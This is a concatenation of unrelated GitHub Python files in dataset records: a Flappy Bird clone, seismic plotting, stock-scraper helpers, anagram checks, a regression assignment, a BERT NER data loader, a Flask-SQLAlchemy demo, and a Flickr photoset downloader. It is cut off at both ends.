display_obstacles(height):\n # create top obstacle\n pygame.draw.rect(screen, obstacles_colour, (obstacles_X, 0, obstacles_width, height))\n\n # find remaining height and create bottom obstacle\n bottom_obstacle_height = height + obstacles_gap\n pygame.draw.rect(screen, obstacles_colour, (obstacles_X, bottom_obstacle_height, obstacles_width, 550 - bottom_obstacle_height))\n\ndef detect_collision(x, height, bird_y, bottom_obstacle_height):\n # check whether the bird collides with the obstacle\n # bird starts at x-coord = 50 with a width of 85\n if x <= (50 + 85):\n # bird current height fall within the gap\n if bird_y <= height or bird_y >= (bottom_obstacle_height - 64):\n return True\n return False\n\nrun = True\nscore = 0\nget_score = True\n\nwhile run:\n screen.fill((0, 0, 0))\n\n # display the background image\n screen.blit(background, (0, 0))\n display_score(score)\n\n # detect for keyboard event\n for event in pygame.event.get():\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_SPACE:\n bird_Y_change = -3\n \n if event.type == pygame.KEYUP:\n if event.key == pygame.K_SPACE:\n bird_Y_change = 3\n \n bird_Y += bird_Y_change\n\n if bird_Y <= 0:\n bird_Y = 0\n if bird_Y >= 484:\n bird_Y = 484\n\n # calculate new obstacle x-value\n obstacles_X += obstacles_X_change\n \n if obstacles_X <= -10:\n get_score = True\n obstacles_X = 500\n obstacles_height = random.randint(150, 350)\n\n display_obstacles(obstacles_height)\n\n collision = detect_collision(obstacles_X, obstacles_height, bird_Y, obstacles_height + obstacles_gap)\n \n if collision:\n pygame.mixer.Sound.play(game_over_sound)\n sleep(1)\n pygame.quit()\n break\n if obstacles_X <= bird_X and get_score:\n score += 1\n pygame.mixer.Sound.play(score_sound)\n get_score = False\n \n display_bird(bird_X, bird_Y)\n\n # render the game frame after each loop \n pygame.display.update()\n\n","repo_name":"Elwinc2799/Cloned-Flappy-Bird","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3263,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"4628842022","text":"import matplotlib.pyplot as plt\nfrom obspy import UTCDateTime\nfrom cores.sds import SDS\n\nclass Plot:\n def __init__(self):\n pass\n\n def set_time(self, trace):\n date = trace.stats.starttime.strftime('%Y-%m-%d')\n starttime = UTCDateTime(date+'T00:00:00.000000Z')\n endtime = UTCDateTime(date+'T23:59:59.990000Z')\n return starttime, endtime\n\n def save(self, trace, save_dayplot=False, dayplot_directory=None, save_spectogram=False, spectogram_directory=None):\n judul = trace.stats.starttime.strftime('%Y-%m-%d')+' | '+trace.id+' | '+str(trace.stats.sampling_rate)+' Hz | '+str(trace.stats.npts)+' samples'\n if save_dayplot == True:\n _, _, full_path = SDS().get_directory(dayplot_directory, trace)\n trace.plot(\n type='dayplot',\n interval=60,\n one_tick_per_line=True,\n color=['k'],\n outfile= '{}.png'.format(full_path),\n number_of_ticks=13,\n size=(1200,900),\n title=judul\n )\n plt.close('all')\n\n if save_spectogram == True:\n _, _, full_path = SDS().get_directory(spectogram_directory, trace)\n trace.spectrogram(\n outfile='{}.png'.format(full_path),\n title=judul,\n show=False,\n fmt='png'\n )\n plt.close('all')","repo_name":"martanto/another-converter","sub_path":"cores/plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":1431,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"35236501299","text":"#!/usr/local/env python\n\n# To make execututable:\n# pyinstaller.exe --onefile scrape_test.py\n\nfrom __future__ import print_function\n\nfrom operator import itemgetter\nfrom texttable import Texttable\n\n\n\nimport re\nimport readline\nimport json\nimport os.path\nimport npyscreen\n\n\n\ndef convert_string_to_markets(market):\n if market.startswith('NYSE'):\n return \"NYQ\"\n elif market.startswith('NasdaqGS'):\n return \"NSQ\"\n elif market.startswith('NasdaqCM'):\n return \"NAQ\"\n else:\n return \"No\"\n\ndef convert_to_float(number_list):\n floats = []\n for i in xrange(len(number_list)):\n temp = map(float, re.findall(r'[+-]?[0-9.]+', number_list[i]))\n if temp:\n floats.append(temp[0])\n else:\n floats.append(None)\n return floats\n\ndef convert_string_to_float(_string):\n temp = map(float, re.findall(r'[+-]?[0-9.]+', _string))\n if temp:\n return temp\n else:\n return None\n\ndef convert_to_ticker(ticker_list):\n tickers = []\n for i in xrange(len(ticker_list)):\n temp = ticker_list[i][ticker_list[i].find(\"(\")+1:ticker_list[i].find(\")\")]\n tickers.append(temp)\n return tickers\n\ndef save_data(x,d):\n s = d.strftime('%Y-%B-%d')\n with open('save/save.ag', 'w') as outfile:\n json.dump(x, outfile)\n with open('save/last_save.ag', 'w') as f:\n json.dump(s,f)\n return\n\ndef load_data():\n with open('save/save.ag', 'r') as infile:\n x = json.load(infile)\n return x\n\ndef check_save_date():\n if os.path.isfile('save/last_save.ag'):\n with open('save/last_save.ag', 'r') as f:\n d = json.load(f)\n return d\n else:\n return 0\n\n\ndef set_weight(x):\n x['weight'] = float(x['percent change']) * .20 + \\\n float(x['buy']) * .20 + \\\n float(x['outperform']) * .10 + \\\n float(x['hold']) * -.05 + \\\n float(x['underperform']) * -.10 + \\\n float(x['sell']) * -.20\n return\n\ndef draw_table(all_stocks):\n t = Texttable()\n #t.add_rows(ERsorted)\n t.header([\"ticker\",\n \"price\",\n \"current EPS\",\n \"past EPS\",\n \"difference\",\n \"b\",\n \"o\",\n \"h\",\n \"u\",\n \"s\"])\n for stock_i in all_stocks:\n t.add_row([stock_i.ticker, \\\n stock_i.current_price, \\\n stock_i.EPS_forcast, \\\n stock_i.EPS_last_year, \\\n stock_i.getChangeInEPS(), \\\n stock_i.forcast.buy, \\\n stock_i.forcast.overperform, \\\n stock_i.forcast.hold, \\\n stock_i.forcast.underperform, \\\n stock_i.forcast.sell])\n\n t.set_cols_width([6, 6, 12, 9, 11, 2, 2, 2, 2, 2])\n t.set_cols_align([\"c\",\"r\",\"r\",\"r\",\"r\",\"r\",\"r\",\"r\",\"r\",\"r\"])\n\n print (t.draw())\n\n#----------------------------------------------------------------------------\n\n\n\n\n\n#print ('tickers: ', tickers)\n#print ('ticker links:', ticker_links)\n\n#print ('ticker dictionary:', ticker_dictionary)\n\n#//*[@id=\"yfs_l84_adn.l\"]\n\n#*[@id=\"ECCompaniesTable\"]/tbody/tr[24]/td[8]\n","repo_name":"nrgapple/Python-Earnings-Scraper","sub_path":"helper_functions.py","file_name":"helper_functions.py","file_ext":"py","file_size_in_byte":3197,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"33569500312","text":"\"\"\"Given two strings, write a method to decide if one is a permutation of the other.\"\"\"\n\ndef check_anagram_iter(string1, string2):\n \"\"\"Checks if two strings are anagrams.\n\n >>> check_anagram_iter(\"cat\", \"tac\")\n True\n\n >>> check_anagram_iter(\"cat\", \"baboon\")\n False\n\n >>> check_anagram_iter(\"\", \"\")\n True\"\"\"\n\n\n #checks if words are different length, automatic fail\n if len(string1) != len(string2):\n return False\n\n #turns strings into lists and sorts them\n a = sorted(string1)\n b = sorted(string2)\n\n done_checking = False\n\n while not done_checking:\n if not a or not b:\n done_checking = True\n break\n\n if a[0] == b[0]:\n a.pop(0)\n b.pop(0)\n else:\n return False\n\n return True\n\ndef check_anagram_recurs(string1, string2):\n \"\"\"Checks if two strings are anagrams.\n\n >>> check_anagram_recurs(\"cat\", \"tac\")\n True\n\n >>> check_anagram_recurs(\"cat\", \"baboon\")\n False\n\n >>> check_anagram_recurs(\"\", \"\")\n True\"\"\"\n\n a = sorted(string1)\n b = sorted(string2)\n\n if not a or not b:\n return True\n\n if a[0] == b[0]:\n return check_anagram_recurs(a[1:], b[1:])\n else:\n return False\n\n","repo_name":"agbarker/Cracking-the-Coding-Interview-Python","sub_path":"ArraysAndStrings/check_permutation.py","file_name":"check_permutation.py","file_ext":"py","file_size_in_byte":1244,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"35720862877","text":"import numpy as np\n\ndef hVec(theta,x):\n return theta.dot(x.transpose());\n\ndef computeCost(X,y,theta):\n \"\"\"\n The computeCost function calculates the Cost Function for Linear Regression\n for given values of x, y and theta. It is used to optimize the values\n of theta for given x's and y's.\n \"\"\"\n \n \"\"\" \n You need to return the correct calculation of variable cost\n which represents the total cost. Here, we initialize it to a\n default value of 0. Formally, the calculation should be:\n cost = 1/(2m) * sum (from i=0 to i=m) (h(x^i) - y^i)**2\n where h(x^i)=theta_0 * x^i_0 + theta_1 * x^i_1 + theta_2 * x^i_2\n NOTE: x^i does NOT mean 'raised to the ith power', but\n only signifies the ith example\n \"\"\"\n\n\n\n cost = 0\n\n # initialize a useful variable: the number of examples m\n m = X.shape[0]\n # below we calculate cost without vectorization\n # Go through the code line by line and make sure you understand\n # how the cost is calculated and that is as described above\n\n # sum = 0 \n # for i in range(0,m):\n # h = theta[0,0] * X[i,0]+ theta[0,1] * X[i,1] + theta[0,2] * X[i,2]\n # error = h - y[i]\n # error = error**2\n # sum = sum + error\n\n # cost = sum / (2*m)\n # return cost\n\n\n newCost = np.array( (hVec( theta ,X ) - y )**2 ).sum()\n return newCost / (2*m)\n\n \"\"\" \n --- Question 3 (20%) ---\n You should comment out the above lines of code and \n do the calculation of the cost using vectorization.\n You should return the same number as the above calculation does.\n Tip 1: You will want to use the np.sum function.\n Tip 2: A good vectorized version will do the above calculation in only 1 line of code!\n Tip 3: Start by vectorizing the h(x) - refer to assignment brief. You will calculate the\n h(x) for all the training examples in X by vectorizing this calculation. Mathematically,\n this calculation is: X * theta. \n Then vectorize h(x)-y.\n Then add the (h(x)-y)**2. Then, incorporate the np.sum function to calculate the total error. Lastly, put the\n finishing touches with dividing by 2m.\n \"\"\"\n\n # return cost\n\n\n\ndef featureNormalize(X):\n \"\"\"\n This function normalizes the features in X, stores them in X_norm and returns it. Normalized elements X_norm[i,j] should be calculated as:\n X_norm[i,j] = (X[i,j] - mean[i]) / sigma[i]\n where:\n mean[i] is the mean (e.g., arithmetic average) of all the numbers in column i (i=1,2)\n sigma[i] is the standard deviation of all the numbers in column i (i=1,2)\n ATTENTION: You should NOT normalize the 1st column of X, that contains 1's. This should remain unchanged!\n \"\"\"\n\n m = X.shape[0]\n n = X.shape[1]\n # You need to set these values correctly. Here we initialize them.\n X_norm = np.ones((X.shape[0],X.shape[1]))\n mu = np.zeros(X.shape[1]) # will store the mean values of X columns 0,1,2\n sigma = np.zeros(X.shape[1]) # will store the standard deviation of values of X columns 0,1,2\n\n # To help you, we show you how to calculate the mu and sigma vectors using vectorization.\n mu = np.mean(X, axis=0)\n sigma = np.std(X,axis=0)\n \n # The lines below will help you in vectorizing the calculation of X_norm below\n # and avoiding changing the values of the 1st column.\n mu[0] = 0\n sigma[0] = 1 \n\n # In contrast, if we were to calculate mu without vectorization we'd have to code this:\n bad_mu = np.zeros(X.shape[1])\n for i in range(0,m):\n for j in range(1,n):\n bad_mu[j] = bad_mu[j] + X[i,j]\n \n for j in range(1,n):\n bad_mu[j] = bad_mu[j] / m\n # Obviously, the vectorized version is much more easy to code and less prone to bugs. We'll ignore bad_mu from now on. \n\n\n \"\"\"\n Next, we iterate through the X matrix and normalize features in columns 1 and 2.\n --- Question 4 (20%) ---\n You should comment out the code below and refactor the process by vectorising it.\n Pay attention to NOT change the values of the 1st column of the X matrix (they should remain 1's).\n As always, a good vectorized version could be just 1 line. You'll need to use the mu and sigma\n that were calculated above.\n \"\"\"\n # for i in range(0,m):\n # for j in range(1,n):\n # X_norm[i,j] = (X[i,j] - mu[j]) / sigma[j]\n \n\n #-- Failed Approach\n # X_norma = np.array([ (hVec( theta ,np.array(X[1,:]) ) - y[i] )**2 for i in range(0,m) ])\n # X_norma = np.ones((X.shape[0],1))\n # for i in range(0,m):\n # X_norma = np.insert(1,[((X[i,j] - mu[j]) / sigma[j]) for j in range(1,n) ],1)\n # print [((X[i,j] - mu[j]) / sigma[j]) for j in range(1,n) ]\n # for j in range(1,n):\n\n\n # test = np.array((X - mu)).divide(sigma)\n X_norm = (X - mu)/sigma\n\n # print X_norma[:2]\n\n\n\n\n\n return X_norm, mu, sigma\n\n\ndef gradientDescent(X,y,alpha,num_iterations):\n\n # Initialize some useful values\n m = X.shape[0] # number of training examples\n theta = np.zeros((1,X.shape[1])) # initial values of theta=[0,0,0]\n J_history = np.array([]) # will store the values of the cost function for each iteration\n\n # -- Working version\n # theta_temp = np.zeros((1,X.shape[1])) \n # for k in range(0,num_iterations):\n # for j in range (0,theta.shape[1]):\n # sum = 0\n # tempSum = 0\n # thetaSum = 0\n # for i in range(0,m):\n # sum = np.sum((theta.dot(X.transpose()) - y.transpose()).transpose() * X,axis=0)[-1]\n # theta_temp[0,j] = theta[0,j] - (alpha / m) * sum\n # # print sum\n # theta = theta_temp.copy()\n # J_history = np.append(J_history,computeCost(X,y,theta))\n\n\n # print sum;\n\n\n # -- Start by replacing theta_temp with theta\n theta_temp = np.zeros((1,X.shape[1])) \n for k in range(0,num_iterations):\n sum = np.sum((theta.dot(X.transpose()) - y) * X.transpose(),axis=0)\n theta_temp = theta - (alpha / m) * sum\n theta = theta_temp.copy()\n J_history = np.append(J_history,computeCost(X,y,theta))\n\n\n return theta, J_history\n\n\n\n","repo_name":"minesh93/6CS008-Learning-Journal","sub_path":"code/assignment.py","file_name":"assignment.py","file_ext":"py","file_size_in_byte":6241,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"11599309897","text":"\"\"\"Data loader\"\"\"\nimport os\nimport torch\nimport utils\nimport random\nimport numpy as np\nfrom transformers import BertTokenizer\n\nclass DataLoader(object):\n def __init__(self, data_dir, bert_class, params, token_pad_idx=0, tag_pad_idx=-1):\n self.data_dir = data_dir\n self.batch_size = params.batch_size\n self.max_len = params.max_len\n self.device = params.device\n self.seed = params.seed\n self.token_pad_idx = token_pad_idx\n self.tag_pad_idx = tag_pad_idx\n\n tags = self.load_tags()\n self.tag2idx = {tag: idx for idx, tag in enumerate(tags)}\n self.idx2tag = {idx: tag for idx, tag in enumerate(tags)}\n params.tag2idx = self.tag2idx\n params.idx2tag = self.idx2tag\n\n self.tokenizer = BertTokenizer.from_pretrained(bert_class, do_lower_case=False)\n\n\n def load_tags(self):\n tags = []\n file_path = os.path.join(self.data_dir, 'tags.txt')\n with open(file_path, 'r') as file:\n for tag in file:\n tags.append(tag.strip())\n return tags\n\n def load_sentences_tags(self, sentences_file, tags_file, d):\n \"\"\"Loads sentences and tags from their corresponding files. \n Maps tokens and tags to their indices and stores them in the provided dict d.\n \"\"\"\n sentences = []\n tags = []\n \n with open(sentences_file, 'r') as file:\n for line in file:\n # replace each token by its index\n tokens = line.strip().split(' ')\n subwords = list(map(self.tokenizer.tokenize, tokens))\n subword_lengths = list(map(len, subwords))\n subwords = ['[CLS]'] + [item for indices in subwords for item in indices]\n token_start_idxs = 1 + np.cumsum([0] + subword_lengths[:-1])\n sentences.append((self.tokenizer.convert_tokens_to_ids(subwords),token_start_idxs))\n if tags_file != None:\n with open(tags_file, 'r') as file:\n for line in file:\n # replace each tag by its index\n tag_seq = [self.tag2idx.get(tag) for tag in line.strip().split(' ')]\n tags.append(tag_seq)\n\n # checks to ensure there is a tag for each token\n assert len(sentences) == len(tags)\n for i in range(len(sentences)):\n assert len(tags[i]) == len(sentences[i][-1])\n\n d['tags'] = tags\n\n # storing sentences and tags in dict d\n d['data'] = sentences\n d['size'] = len(sentences)\n\n def load_data(self, data_type):\n \"\"\"Loads the data for each type in types from data_dir.\n\n Args:\n data_type: (str) has one of 'train', 'val', 'test' depending on which data is required.\n Returns:\n data: (dict) contains the data with tags for each type in types.\n \"\"\"\n data = {}\n \n if data_type in ['train', 'val', 'test']:\n print('Loading ' + data_type)\n sentences_file = os.path.join(self.data_dir, data_type, 'sentences.txt')\n tags_path = os.path.join(self.data_dir, data_type, 'tags.txt')\n self.load_sentences_tags(sentences_file, tags_path, data)\n elif data_type == 'interactive':\n sentences_file = os.path.join(self.data_dir, data_type, 'sentences.txt')\n self.load_sentences_tags(sentences_file, tags_file=None, d=data) \n else:\n raise ValueError(\"data type not in ['train', 'val', 'test']\")\n return data\n\n def data_iterator(self, data, shuffle=False):\n \"\"\"Returns a generator that yields batches data with tags.\n\n Args:\n data: (dict) contains data which has keys 'data', 'tags' and 'size'\n shuffle: (bool) whether the data should be shuffled\n \n Yields:\n batch_data: (tensor) shape: (batch_size, max_len)\n batch_tags: (tensor) shape: (batch_size, max_len)\n \"\"\"\n\n # make a list that decides the order in which we go over the data- this avoids explicit shuffling of data\n order = list(range(data['size']))\n if shuffle:\n random.seed(self.seed)\n random.shuffle(order)\n \n interMode = False if 'tags' in data else True\n\n if data['size'] % self.batch_size == 0:\n BATCH_NUM = data['size']//self.batch_size\n else:\n BATCH_NUM = data['size']//self.batch_size + 1\n\n\n # one pass over data\n for i in range(BATCH_NUM):\n # fetch sentences and tags\n if i * self.batch_size < data['size'] < (i+1) * self.batch_size:\n sentences = [data['data'][idx] for idx in order[i*self.batch_size:]]\n if not interMode:\n tags = [data['tags'][idx] for idx in order[i*self.batch_size:]]\n else:\n sentences = [data['data'][idx] for idx in order[i*self.batch_size:(i+1)*self.batch_size]]\n if not interMode:\n tags = [data['tags'][idx] for idx in order[i*self.batch_size:(i+1)*self.batch_size]]\n\n # batch length\n batch_len = len(sentences)\n\n # compute length of longest sentence in batch\n batch_max_subwords_len = max([len(s[0]) for s in sentences])\n max_subwords_len = min(batch_max_subwords_len, self.max_len)\n max_token_len = 0\n\n\n # prepare a numpy array with the data, initialising the data with pad_idx\n batch_data = self.token_pad_idx * np.ones((batch_len, max_subwords_len))\n batch_token_starts = []\n \n # copy the data to the numpy array\n for j in range(batch_len):\n cur_subwords_len = len(sentences[j][0])\n if cur_subwords_len <= max_subwords_len:\n batch_data[j][:cur_subwords_len] = sentences[j][0]\n else:\n batch_data[j] = sentences[j][0][:max_subwords_len]\n token_start_idx = sentences[j][-1]\n token_starts = np.zeros(max_subwords_len)\n token_starts[[idx for idx in token_start_idx if idx < max_subwords_len]] = 1\n batch_token_starts.append(token_starts)\n max_token_len = max(int(sum(token_starts)), max_token_len)\n \n if not interMode:\n batch_tags = self.tag_pad_idx * np.ones((batch_len, max_token_len))\n for j in range(batch_len):\n cur_tags_len = len(tags[j]) \n if cur_tags_len <= max_token_len:\n batch_tags[j][:cur_tags_len] = tags[j]\n else:\n batch_tags[j] = tags[j][:max_token_len]\n \n # since all data are indices, we convert them to torch LongTensors\n batch_data = torch.tensor(batch_data, dtype=torch.long)\n batch_token_starts = torch.tensor(batch_token_starts, dtype=torch.long)\n if not interMode:\n batch_tags = torch.tensor(batch_tags, dtype=torch.long)\n\n # shift tensors to GPU if available\n batch_data, batch_token_starts = batch_data.to(self.device), batch_token_starts.to(self.device)\n if not interMode:\n batch_tags = batch_tags.to(self.device)\n yield batch_data, batch_token_starts, batch_tags\n else:\n yield batch_data, batch_token_starts\n","repo_name":"weizhepei/BERT-NER","sub_path":"data_loader.py","file_name":"data_loader.py","file_ext":"py","file_size_in_byte":7526,"program_lang":"python","lang":"en","doc_type":"code","stars":127,"dataset":"github-code","pt":"21"} +{"seq_id":"32969893846","text":"from flask import Flask\nfrom flask_sqlalchemy import SQLAlchemy\n\napp = Flask(\"iiecapp\")\napp.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///mydb/data.sqlite'\n\n# ORM (Object Releation Mapper)\ndb = SQLAlchemy(app)\nprint(db)\n\nclass IIEC(db.Model):\n id = db.Column( db.Integer, primary_key = True)\n name = db.Column( db.Text )\n age = db.Column( db.Integer )\n remarks = db.Column( db.Text )\n\n def __init__(self, name, age, remarks):\n self.name = name\n self.age = age\n self.remarks = remarks\n\ndb.create_all()\n\n# Create\n\ntom = IIEC(\"tom\", 35, \"good\")\ndb.session.add(tom)\ndb.session.commit()\n\n\n# Read\n'''\nr2 = IIEC.query.get(2)\nprint(r2.name, r2.age, r2.remarks)\n\nr_all = IIEC.query.all()\nprint(r_all[0].name, r_all[0].age, r_all[0].remarks)\n\nr_age = IIEC.query.filter_by(remarks='ok')\nprint(r_age.all())\n\n# Update \nr1 = IIEC.query.get(1)\nr1.age = 15\ndb.session.add(r1)\ndb.session.commit()\n'''\n\n# Delete\n'''\nr_all_rec = IIEC.query.get(2)\ndb.session.delete(r_all_rec)\ndb.session.commit()\n'''\n","repo_name":"rasulkarimov/python","sub_path":"python_core_concepts/29_db/webapp-db1/db1.py","file_name":"db1.py","file_ext":"py","file_size_in_byte":1002,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"11899834014","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\ntry:\n import gevent\n import grequests\nexcept ImportError:\n pass\nelse:\n from gevent import monkey\nimport sys\nimport os\nimport hashlib\nimport json\nimport logging\nimport argparse\nimport multiprocessing\nfrom ConfigParser import SafeConfigParser\nimport requests\n\n\nlogger = logging.getLogger(__name__)\nlogger.setLevel(logging.DEBUG)\nAPI_URL = 'https://flickr.com/services/rest/'\n\ndirectory = ''\nimage_size_mode = 1\ncounter = 0\nCONFIG_PATH = os.path.expanduser('~/.grabflickr.conf')\napi_key = ''\napi_secret = ''\n\nSINGLE_PROCESS = 0\nMULTITHREAD = 1\nGEVENT = 2\n\n\ndef read_config():\n \"\"\"Read the config from CONFIG_PATH(Default: ~/.grabflickr.conf)\n This will prompt for API key and secret if it not exists.\n After, it sets the global variable `api_key` and `api_secret`.\n \"\"\"\n parser = SafeConfigParser()\n parser.read(CONFIG_PATH)\n if not parser.has_section('flickr'):\n logger.info('Seems you don\\'t set API key, please enter the following informations: ')\n enter_api_key(parser)\n global api_key, api_secret\n api_key = parser.get('flickr', 'API_KEY')\n api_secret = parser.get('flickr', 'API_SECRET')\n\n\ndef enter_api_key(parser=None):\n \"\"\"Prompt for API key and secret\n Then write them to CONFIG_PATH(Default: ~/.grabflickr.conf)\n\n :param parser: Config parser\n :type parser: SafeConfigParser\n \"\"\"\n if parser is None:\n parser = SafeConfigParser()\n parser.add_section('flickr')\n global api_key, api_secret\n api_key = raw_input('Enter your API key: ')\n api_secret = raw_input('Enter your API secret: ')\n parser.set('flickr', 'API_KEY', api_key)\n parser.set('flickr', 'API_SECRET', api_secret)\n with open(CONFIG_PATH, 'wb') as f:\n parser.write(f)\n\n\ndef _get_request_args(method, **kwargs):\n \"\"\"Use `method` and other settings to produce a flickr API arguments.\n Here also use json as the return type.\n\n :param method: The method provided by flickr,\n ex: flickr.photosets.getPhotos\n :type method: str\n :param kwargs: Other settings\n :type kwargs: dict\n :return: An argument list used for post request\n :rtype: list of sets\n \"\"\"\n args = [\n ('api_key', api_key),\n ('format', 'json'),\n ('method', method),\n ('nojsoncallback', '1'),\n ]\n if kwargs:\n for key, value in kwargs.iteritems():\n args.append((key, value))\n args.sort(key=lambda tup: tup[0])\n api_sig = _get_api_sig(args)\n args.append(api_sig)\n return args\n\n\ndef _get_api_sig(args):\n \"\"\"Flickr API need a hash string which made using post arguments\n\n :param args: Arguments of the flickr request\n :type args: list of sets\n :return: api_sig, ex: ('api_sig', 'abcdefg')\n :rtype: tuple\n \"\"\"\n tmp_sig = api_secret\n for i in args:\n tmp_sig = tmp_sig + i[0] + i[1]\n api_sig = hashlib.md5(tmp_sig.encode('utf-8')).hexdigest()\n return 'api_sig', api_sig\n\n\ndef create_dir(path):\n \"\"\"Create dir with the path\n\n :param path: The path to be created\n :type path: str\n \"\"\"\n if os.path.exists(path):\n if not os.path.isdir(path):\n logger.error('%s is not a directory', path)\n sys.exit(1)\n else: # ignore\n pass\n else:\n os.makedirs(path)\n logger.info('Create dir: %s', path)\n\n\ndef get_photos_info(photoset_id):\n \"\"\"Request the photos information with the photoset id\n\n :param photoset_id: The photoset id of flickr\n :type photoset_id: str\n :return: photos information\n :rtype: list\n \"\"\"\n args = _get_request_args(\n 'flickr.photosets.getPhotos',\n photoset_id=photoset_id\n )\n resp = requests.post(API_URL, data=args)\n resp_json = json.loads(resp.text.encode('utf-8'))\n logger.debug(resp_json)\n photos = resp_json['photoset']['photo']\n return photos\n\n\ndef get_photo_url(photo_id):\n \"\"\"Request the photo download url with the photo id\n :param photo_id: The photo id of flickr\n :type photo_id: str\n :return: Photo download url\n :rtype: str\n \"\"\"\n args = _get_request_args(\n 'flickr.photos.getSizes',\n photo_id=photo_id\n )\n resp = requests.post(API_URL, data=args)\n resp_json = json.loads(resp.text.encode('utf-8'))\n logger.debug(json.dumps(resp_json, indent=2))\n size_list = resp_json['sizes']['size']\n size_list_len = len(size_list)\n global image_size_mode\n image_size_mode = size_list_len if size_list_len < image_size_mode \\\n else image_size_mode\n download_url = resp_json['sizes']['size'][-image_size_mode]['source']\n return download_url\n\n\ndef download_photo_async(photo):\n \"\"\"Download a photo to the the path(global varialbe `directory`)\n\n :param photo: The photo information include id and title\n :type photo: dict\n \"\"\"\n photo_id = photo['id']\n photo_title = photo['title']\n download_url = get_photo_url(photo_id)\n photo_format = download_url.split('.')[-1]\n photo_title = photo_title + '.' + photo_format\n file_path = directory + os.sep + photo_title\n logger.info('Download %s...', photo_title.encode('utf-8'))\n req = [grequests.get(download_url)]\n counter_lock = multiprocessing.Lock()\n for resp in grequests.map(req):\n with open(file_path, 'w') as f:\n f.write(resp.content)\n with counter_lock:\n global counter\n counter -= 1\n logger.info(\n 'The number of pictures remaining: %s', counter\n )\n\n\ndef download_photo(photo):\n \"\"\"Download a photo to the the path(global varialbe `directory`)\n\n :param photo: The photo information include id and title\n :type photo: dict\n \"\"\"\n counter_lock = multiprocessing.Lock()\n photo_id = photo['id']\n photo_title = photo['title']\n download_url = get_photo_url(photo_id)\n photo_format = download_url.split('.')[-1]\n photo_title = photo_title + '.' + photo_format\n file_path = directory + os.sep + photo_title\n logger.info('Download %s...', photo_title.encode('utf-8'))\n resp = requests.get(download_url)\n with open(file_path, 'w') as f:\n f.write(resp.content)\n with counter_lock:\n global counter\n counter -= 1\n logger.info(\n 'The number of pictures remaining: %s', counter\n )\n\n\ndef single_download_photos(photos):\n \"\"\"Use single process to download photos\n\n :param photos: The photos to be downloaded\n :type photos: list of dicts\n \"\"\"\n global counter\n counter = len(photos)\n for photo in photos:\n download_photo(photo)\n\n\ndef event_download_photos(photos):\n \"\"\"Use asynchronous I/O to download photos\n\n :param photos: The photos to be downloaded\n :type photos: list of dicts\n \"\"\"\n try:\n assert gevent\n assert grequests\n except NameError:\n logger.error('You need install gevent module. Aborting...')\n sys.exit(1)\n global counter\n counter = len(photos)\n from gevent.pool import Pool\n pool = Pool(multiprocessing.cpu_count())\n jobs = [pool.spawn(download_photo_async, photo) for photo in photos]\n pool.join()\n\n\ndef multithread_download_photos(photos):\n \"\"\"Use multiple threads to download photos\n\n :param photos: The photos to be downloaded\n :type photos: list of dicts\n \"\"\"\n from concurrent import futures\n global counter\n counter = len(photos)\n cpu_num = multiprocessing.cpu_count()\n with futures.ThreadPoolExecutor(max_workers=cpu_num) as executor:\n for photo in photos:\n executor.submit(download_photo, photo)\n\n\ndef init_logger():\n \"\"\"Initialize the logger and set its format\n \"\"\"\n formatter = logging.Formatter('%(levelname)s: %(message)s')\n console = logging.StreamHandler(stream=sys.stdout)\n console.setLevel(logging.INFO)\n console.setFormatter(formatter)\n logger.addHandler(console)\n\n\ndef _parse_cli_args():\n \"\"\"Parse the arguments from CLI using ArgumentParser\n :return: The arguments parsed by ArgumentParser\n :rtype: Namespace\n \"\"\"\n parser = argparse.ArgumentParser()\n parser.add_argument(\n '-g',\n help='The photoset id to be downloaded',\n metavar=''\n )\n parser.add_argument(\n '-s',\n default=1,\n help=(\n 'Image size. 12 is smallest, 1 is original size. '\n 'Default: 1'\n ),\n type=int,\n choices=xrange(0, 10),\n metavar=''\n )\n parser.add_argument(\n '-d',\n default=None,\n help=(\n 'The path to store the downloaded images. '\n 'Automatically create it if not exist. '\n 'Default use the photoset id as folder name under current path'\n ),\n metavar=''\n )\n parser.add_argument(\n '-O',\n default=1,\n help=(\n '0 for single process, '\n '1 for multithread. '\n '2 for event driven. '\n 'Default: 1'\n ),\n type=int,\n choices=xrange(0, 3),\n metavar=''\n )\n parser.add_argument(\n '-u',\n help=(\n 'Set your API key'\n ),\n action='store_true'\n )\n args = parser.parse_args()\n logger.debug(args)\n return args\n\n\ndef set_image_size_mode(s):\n \"\"\"Set the quality of the images to be downloaded\n This set the global variable `image_size_mode`\n\n :param s: quality level, 1 is original size, 12 is smallest\n :type s: str\n \"\"\"\n global image_size_mode\n image_size_mode = s\n\n\ndef _gevent_patch():\n \"\"\"Patch the modules with gevent\n\n :return: Default is GEVENT. If it not supports gevent then return MULTITHREAD\n :rtype: int\n \"\"\"\n try:\n assert gevent\n assert grequests\n except NameError:\n logger.warn('gevent not exist, fallback to multiprocess...')\n return MULTITHREAD\n else:\n monkey.patch_all() # Must patch before get_photos_info\n return GEVENT\n\n\ndef main():\n \"\"\"The main procedure\n \"\"\"\n\n init_logger()\n args = _parse_cli_args()\n\n if args.u:\n enter_api_key()\n return\n\n if args.O == GEVENT:\n args.O = _gevent_patch()\n\n set_image_size_mode(args.s)\n photoset_id = args.g\n global directory\n directory = args.d if args.d else photoset_id\n\n read_config()\n photos = get_photos_info(photoset_id)\n create_dir(directory)\n\n if args.O == SINGLE_PROCESS:\n single_download_photos(photos)\n elif args.O == GEVENT:\n event_download_photos(photos)\n elif args.O == MULTITHREAD:\n multithread_download_photos(photos)\n else:\n logger.error('Unknown Error')\n\n\nif __name__ == '__main__':\n 